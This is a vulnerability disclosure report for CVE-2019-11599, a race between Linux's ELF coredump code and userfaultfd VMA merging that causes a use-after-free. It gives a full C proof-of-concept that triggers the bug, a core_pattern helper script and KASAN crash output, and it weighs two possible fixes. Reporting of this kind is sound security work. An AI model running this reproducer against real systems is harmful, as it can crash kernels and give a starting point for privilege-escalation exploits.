Linux: missing locking between ELF coredump code and userfaultfd VMA modification Related CVE Numbers: CVE-2019-11599. elf_core_dump() has a comment back from something like 2.5.43-C3 that says: /* * We no longer stop all VM operations. * * This is because those proceses that could possibly change map_count * or the mmap / vma pages are now blocked in do_exit on current * finishing this core dump. * * Only ptrace can touch these memory addresses, but it doesn't change * the map_count or the pages allocated. So no possibility of crashing * exists while dumping the mm->vm_next areas to the core file. */ However, since commit 86039bd3b4e6 (\"userfaultfd: add new syscall to provide memory externalization\", introduced in v4.3), that's no longer true; the following functions can call vma_merge() on another task's VMAs while holding the corresponding mmap_sem for writing: - userfaultfd_release() [->release handler] - userfaultfd_register() [invoked via ->unlocked_ioctl handler] - userfaultfd_unregister() [invoked via ->unlocked_ioctl handler] This means that VMAs can disappear from under elf_core_dump(). I see two potential ways to fix this, but I'm not sure whether either of them is good: 1. Let elf_core_dump() hold a read lock on the mmap_sem across the page-dumping loop. This would mean that the mmap_sem can be blocked indefinitely by a userspace process, and e.g. userfaultfd_release() could block the task or global workqueue it's running on (depending on where the final fput() happened) indefinitely, which seems potentially bad from a denial-of-service perspective? 2. Let coredump_wait() set a flag on the mm_struct before dropping the mmap_sem that says \"this mm_struct is going away, keep your hands off\"; let the userfaultfd ioctl handlers check for the flag and bail out as if the mm_struct was already dead; hack userfaultfd_release() so that it only calls vma_merge() if the flag hasn't been set; and because I feel icky about concurrent reads and writes of bitmasks without explicit annotations, either make the vm_flags accesses in userfaultfd_release() and in everything called from elf_core_dump() atomic (because userfaultfd_release will clear bits in them concurrently with reads from elf_core_dump()) or let elf_core_dump() take the mmap_sem for reading while looking at vm_flags. If the fix goes in this direction, it should probably come with a big warning on top of the definition of mmap_sem, or something like that. Here's a simple proof-of-concept: ====================================================================== user@debian:~/uffd_coredump$ cat coredump_helper.c #include #include #include #include int main(void) { char buf[1024]; size_t total = 0; bool slept = false; while (1) { int res = read(0, buf, sizeof(buf)); if (res == -1) err(1, \"read\"); if (res == 0) return 0; total += res; if (total > 1024*1024 && !slept) { sleep(10); slept = true; } } } user@debian:~/uffd_coredump$ gcc -o coredump_helper coredump_helper.c user@debian:~/uffd_coredump$ cat set_helper.sh #!/bin/sh echo \"|$(realpath ./coredump_helper)\" > /proc/sys/kernel/core_pattern user@debian:~/uffd_coredump$ sudo ./set_helper.sh user@debian:~/uffd_coredump$ cat dumpme.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include int main(void) { // set up an area consisting of half normal anon memory, half present userfaultfd region void *area = mmap(NULL, 1024*1024*2, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); if (area == MAP_FAILED) err(1, \"mmap\"); memset(area, 'A', 1024*1024*2); int uffd = syscall(__NR_userfaultfd, 0); if (uffd == -1) err(1, \"userfaultfd\"); struct uffdio_api api = { .api = 0xAA, .features = 0 }; if (ioctl(uffd, UFFDIO_API, &api)) err(1, \"API\"); struct uffdio_register reg = { .range = { .start = (unsigned long)area+1024*1024, .len = 1024*1024 }, .mode = UFFDIO_REGISTER_MODE_MISSING }; if (ioctl(uffd, UFFDIO_REGISTER, ®)) err(1, \"REGISTER\"); // spawn a child that can do stuff with the userfaultfd pid_t child = fork(); if (child == -1) err(1, \"fork\"); if (child == 0) { sleep(3); if (ioctl(uffd, UFFDIO_UNREGISTER, ®.range)) err(1, \"UNREGISTER\"); exit(0); } *(volatile char *)0 = 42; } user@debian:~/uffd_coredump$ gcc -o dumpme dumpme.c user@debian:~/uffd_coredump$ ./dumpme Segmentation fault (core dumped) user@debian:~/uffd_coredump$ ====================================================================== dmesg output: ====================================================================== [ 128.977354] dumpme[1116]: segfault at 0 ip 0000563e14789a6e sp 00007ffed407cd80 error 6 in dumpme[563e14789000+1000] [ 128.979600] Code: ff 85 c0 74 16 48 8d 35 d7 00 00 00 bf 01 00 00 00 b8 00 00 00 00 e8 c1 fc ff ff bf 00 00 00 00 e8 c7 fc ff ff b8 00 00 00 00 00 2a b8 00 00 00 00 c9 c3 0f 1f 84 00 00 00 00 00 41 57 41 56 [ 138.988465] ================================================================== [ 138.992696] BUG: KASAN: use-after-free in elf_core_dump+0x2063/0x20e0 [ 138.994168] Read of size 8 at addr ffff8881e616ed60 by task dumpme/1116 [ 138.996163] CPU: 1 PID: 1116 Comm: dumpme Not tainted 5.0.0-rc8 #292 [ 138.997591] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014 [ 138.999570] Call Trace: [ 139.000237] dump_stack+0x71/0xab [...] [ 139.001940] print_address_description+0x6a/0x2b0 [...] [ 139.005026] kasan_report+0x14e/0x192 [...] [ 139.006803] elf_core_dump+0x2063/0x20e0 [...] [ 139.013876] do_coredump+0x1072/0x17a0 [...] [ 139.027534] get_signal+0x93c/0xa90 [ 139.028400] do_signal+0x85/0xb20 [...] [ 139.034068] exit_to_usermode_loop+0xfb/0x120 [...] [ 139.036028] prepare_exit_to_usermode+0x95/0xb0 [ 139.037114] retint_user+0x8/0x8 [ 139.037884] RIP: 0033:0x563e14789a6e [ 139.038661] Code: ff 85 c0 74 16 48 8d 35 d7 00 00 00 bf 01 00 00 00 b8 00 00 00 00 e8 c1 fc ff ff bf 00 00 00 00 e8 c7 fc ff ff b8 00 00 00 00 00 2a b8 00 00 00 00 c9 c3 0f 1f 84 00 00 00 00 00 41 57 41 56 [ 139.042892] RSP: 002b:00007ffed407cd80 EFLAGS: 00010202 [ 139.044148] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 00007f654198538b [ 139.045809] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000001200011 [ 139.047405] RBP: 00007ffed407cdd0 R08: 00007f6541e6f700 R09: 00007ffed407cdae [ 139.049063] R10: 00007f6541e6f9d0 R11: 0000000000000246 R12: 0000563e14789770 [ 139.050659] R13: 00007ffed407ceb0 R14: 0000000000000000 R15: 0000000000000000 [ 139.052673] Allocated by task 1116: [ 139.053506] __kasan_kmalloc.constprop.9+0xa0/0xd0 [ 139.054600] kmem_cache_alloc+0xd6/0x1e0 [ 139.055561] vm_area_alloc+0x1b/0x80 [ 139.056339] mmap_region+0x4db/0xa60 [ 139.057179] do_mmap+0x44d/0x6f0 [ 139.057953] vm_mmap_pgoff+0x163/0x1b0 [ 139.058936] ksys_mmap_pgoff+0x16a/0x330 [ 139.059839] do_syscall_64+0x73/0x160 [ 139.060633] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 139.062270] Freed by task 1117: [ 139.062957] __kasan_slab_free+0x130/0x180 [ 139.063906] kmem_cache_free+0x73/0x1c0 [ 139.064829] __vma_adjust+0x564/0xca0 [ 139.065756] vma_merge+0x358/0x6a0 [ 139.066504] userfaultfd_ioctl+0x687/0x17c0 [ 139.067533] do_vfs_ioctl+0x134/0x8f0 [ 139.068377] ksys_ioctl+0x70/0x80 [ 139.069141] __x64_sys_ioctl+0x3d/0x50 [ 139.069959] do_syscall_64+0x73/0x160 [ 139.070755] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 139.072235] The buggy address belongs to the object at ffff8881e616ed50 which belongs to the cache vm_area_struct of size 200 [ 139.075075] The buggy address is located 16 bytes inside of 200-byte region [ffff8881e616ed50, ffff8881e616ee18) [ 139.077556] The buggy address belongs to the page: [ 139.078648] page:ffffea0007985b00 count:1 mapcount:0 mapping:ffff8881eada6f00 index:0x0 compound_mapcount: 0 [ 139.080745] flags: 0x17fffc000010200(slab|head) [ 139.081724] raw: 017fffc000010200 ffffea000792dc08 ffffea0007765c08 ffff8881eada6f00 [ 139.083477] raw: 0000000000000000 00000000001d001d 00000001ffffffff 0000000000000000 [ 139.085121] page dumped because: kasan: bad access detected [ 139.086667] Memory state around the buggy address: [ 139.087695] ffff8881e616ec00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [ 139.089294] ffff8881e616ec80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [ 139.090833] >ffff8881e616ed00: fc fc fc fc fc fc fc fc fc fc fb fb fb fb fb fb [ 139.092417] ^ [ 139.093780] ffff8881e616ed80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 139.095318] ffff8881e616ee00: fb fb fb fc fc fc fc fc fc fc fc fc fc fc fc fc [ 139.096917] ================================================================== [ 139.098460] Disabling lock debugging due to kernel taint ====================================================================== This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Found by: jannh@google.com